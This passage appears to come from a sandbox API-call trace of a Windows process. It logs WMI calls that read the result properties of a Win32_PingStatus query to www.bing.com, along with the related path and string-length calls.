returned 0x0 [0141.580] IWbemClassObject:Get (in: This=0x5ce3798, wszName="SourceRouteType", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cf4c*=0, plFlavor=0x288cf50*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cf4c*=19, plFlavor=0x288cf50*=0) returned 0x0 [0141.580] IWbemClassObject:Get (in: This=0x5ce3798, wszName="StatusCode", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cfbc*=0, plFlavor=0x288cfc0*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cfbc*=19, plFlavor=0x288cfc0*=0) returned 0x0 [0141.580] IWbemClassObject:Get (in: This=0x5ce3798, wszName="Timeout", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d464*=0, plFlavor=0x288d468*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x288d464*=19, plFlavor=0x288d468*=0) returned 0x0 [0141.581] IWbemClassObject:Get (in: This=0x5ce3798, wszName="TimeStampRecord", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d4d4*=0, plFlavor=0x288d4d8*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d4d4*=8211, plFlavor=0x288d4d8*=32) returned 0x0 [0141.581] IWbemClassObject:Get (in: This=0x5ce3798, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d538*=0, plFlavor=0x288d53c*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d538*=8200, plFlavor=0x288d53c*=32) returned 0x0 [0141.581] IWbemClassObject:Get (in: This=0x5ce3798, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d59c*=0, plFlavor=0x288d5a0*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d59c*=8200, plFlavor=0x288d5a0*=32) returned 0x0 [0141.581] IWbemClassObject:Get (in: This=0x5ce3798, wszName="TimestampRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d600*=0, plFlavor=0x288d604*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d600*=19, plFlavor=0x288d604*=0) returned 0x0 [0141.581] IWbemClassObject:Get (in: This=0x5ce3798, wszName="TimeToLive", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d670*=0, plFlavor=0x288d674*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x288d670*=19, plFlavor=0x288d674*=0) returned 0x0 [0141.581] IWbemClassObject:Get (in: This=0x5ce3798, wszName="TypeofService", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d7ec*=0, plFlavor=0x288d7f0*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288d7ec*=19, plFlavor=0x288d7f0*=0) returned 0x0 [0141.582] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=0, plFlavor=0x59fe7a8*=0 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0141.582] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.582] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.582] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0141.582] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.582] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.582] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0141.582] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.582] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.582] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x58c [0141.582] SetEvent (hEvent=0x3f0) returned 1 [0141.582] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x58c, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0141.585] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0141.585] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0141.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd1c8, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdd1c8) returned 0x0 [0141.585] WbemDefPath:IUnknown:AddRef (This=0x5cdd1c8) returned 0x3 [0141.585] WbemDefPath:IUnknown:Release (This=0x5cdd1c8) returned 0x2 [0141.586] WbemDefPath:IWbemPath:SetText (This=0x5cdd1c8, uMode=0x4, pszPath="") returned 0x0 [0141.586] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x590 [0141.586] SetEvent (hEvent=0x3f0) returned 1 [0141.586] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x590, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0141.588] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0141.588] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0141.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd238, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdd238) returned 0x0 [0141.589] WbemDefPath:IUnknown:AddRef (This=0x5cdd238) returned 0x3 [0141.589] WbemDefPath:IUnknown:Release (This=0x5cdd238) returned 0x2 [0141.589] WbemDefPath:IWbemPath:SetText (This=0x5cdd238, uMode=0x4, pszPath="") returned 0x0 [0141.589] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd238, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0141.589] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd1c8, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0141.589] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdd238, puBuffLength=0x59fe780*=0x0, pszName=0x0 | out: puBuffLength=0x59fe780*=0x0, pszName=0x0) returned 0x8004103a [0141.589] WbemDefPath:IWbemPath:GetServer (in: This=0x5cdd238, puNameBufLength=0x59fe77c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe77c*=0x0, pName=0x0) returned 0x80041009 [0141.589] WbemDefPath:IWbemPath:SetServer (This=0x5cdd238, Name="Q9IATRKPRH") returned 0x0 [0141.589] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x594 [0141.589] SetEvent (hEvent=0x3f0) returned 1 [0141.589] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x594, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0141.593] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0141.593] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0141.593] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd2a8, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdd2a8) returned 0x0 [0141.593] WbemDefPath:IUnknown:AddRef (This=0x5cdd2a8) returned 0x3 [0141.593] WbemDefPath:IUnknown:Release (This=0x5cdd2a8) returned 0x2 [0141.593] WbemDefPath:IWbemPath:SetText (This=0x5cdd2a8, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd238, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd2a8, puCount=0x59fe728 | out: puCount=0x59fe728*=0x2) returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetText (in: This=0x5cdd2a8, lFlags=16, puBuffLength=0x59fe724*=0x0, pszText=0x0 | out: puBuffLength=0x59fe724*=0xb, pszText=0x0) returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetText (in: This=0x5cdd2a8, lFlags=16, puBuffLength=0x59fe724*=0xb, pszText="0000000000" | out: puBuffLength=0x59fe724*=0xb, pszText="root\\cimv2") returned 0x0 [0141.593] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5cdd238) returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd2a8, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdd2a8, uIndex=0x0, puNameBufLength=0x59fe75c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe75c*=0x5, pName=0x0) returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdd2a8, uIndex=0x0, puNameBufLength=0x59fe75c*=0x5, pName="0000" | out: puNameBufLength=0x59fe75c*=0x5, pName="root") returned 0x0 [0141.593] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdd238, uIndex=0x0, pszName="root") returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdd2a8, uIndex=0x1, puNameBufLength=0x59fe75c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe75c*=0x6, pName=0x0) returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdd2a8, uIndex=0x1, puNameBufLength=0x59fe75c*=0x6, pName="00000" | out: puNameBufLength=0x59fe75c*=0x6, pName="cimv2") returned 0x0 [0141.593] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdd238, uIndex=0x1, pszName="cimv2") returned 0x0 [0141.593] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdd238, puBuffLength=0x59fe780*=0x0, pszName=0x0 | out: puBuffLength=0x59fe780*=0x0, pszName=0x0) returned 0x8004103a [0141.593] WbemDefPath:IWbemPath:SetClassName (This=0x5cdd238, Name="Win32_PingStatus") returned 0x0 [0141.594] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd238, puCount=0x59fe7c4 | out: puCount=0x59fe7c4*=0x2) returned 0x0 [0141.594] WbemDefPath:IWbemPath:GetText (in: This=0x5cdd238, lFlags=4, puBuffLength=0x59fe7c0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7c0*=0x29, pszText=0x0) returned 0x0 [0141.594] WbemDefPath:IWbemPath:GetText (in: This=0x5cdd238, lFlags=4, puBuffLength=0x59fe7c0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59fe7c0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0141.596] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0141.597] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0141.597] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.597] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0141.597] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0141.597] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.597] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0141.597] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0141.597] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0141.597] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0141.597] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.597] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.597] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.597] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.597] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.597] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.597] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.597] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.597] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.597] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.597] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.597] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.598] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.598] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.598] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.598] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.598] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.598] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.598] SysStringByteLen (bstr="__PATH") returned 0xc [0141.598] SysStringByteLen (bstr="__PATH") returned 0xc [0141.598] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x289604c*=0, plFlavor=0x2896050*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x289604c*=3, plFlavor=0x2896050*=64) returned 0x0 [0141.598] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896080*=0, plFlavor=0x2896084*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2896080*=8, plFlavor=0x2896084*=64) returned 0x0 [0141.598] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.598] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.598] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28960d8*=0, plFlavor=0x28960dc*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28960d8*=8, plFlavor=0x28960dc*=64) returned 0x0 [0141.599] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896100*=0, plFlavor=0x2896104*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2896100*=8, plFlavor=0x2896104*=64) returned 0x0 [0141.599] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.599] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.599] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896158*=0, plFlavor=0x289615c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2896158*=8, plFlavor=0x289615c*=64) returned 0x0 [0141.599] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.599] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.599] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896330*=0, plFlavor=0x2896334*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2896330*=3, plFlavor=0x2896334*=64) returned 0x0 [0141.599] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896364*=0, plFlavor=0x2896368*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2896364*=8200, plFlavor=0x2896368*=64) returned 0x0 [0141.599] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896398*=0, plFlavor=0x289639c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2896398*=8, plFlavor=0x289639c*=64) returned 0x0 [0141.600] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.600] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.600] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0141.600] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0141.600] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.600] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0141.600] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0141.600] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.600] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0141.600] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.600] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.600] SafeArrayGetLBound (in: psa=0x5cea220, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0141.600] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.600] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.600] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.601] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.601] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.601] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.601] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.601] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.601] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.601] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.601] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.601] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.601] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.601] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.601] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.601] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.601] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.601] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.601] SysStringByteLen (bstr="__PATH") returned 0xc [0141.601] SysStringByteLen (bstr="__PATH") returned 0xc [0141.601] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896784*=0, plFlavor=0x2896788*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2896784*=3, plFlavor=0x2896788*=64) returned 0x0 [0141.601] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28967b8*=0, plFlavor=0x28967bc*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28967b8*=8, plFlavor=0x28967bc*=64) returned 0x0 [0141.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.602] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896810*=0, plFlavor=0x2896814*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896810*=8, plFlavor=0x2896814*=64) returned 0x0 [0141.602] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896838*=0, plFlavor=0x289683c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2896838*=8, plFlavor=0x289683c*=64) returned 0x0 [0141.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.602] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896890*=0, plFlavor=0x2896894*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2896890*=8, plFlavor=0x2896894*=64) returned 0x0 [0141.602] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.602] SysStringByteLen 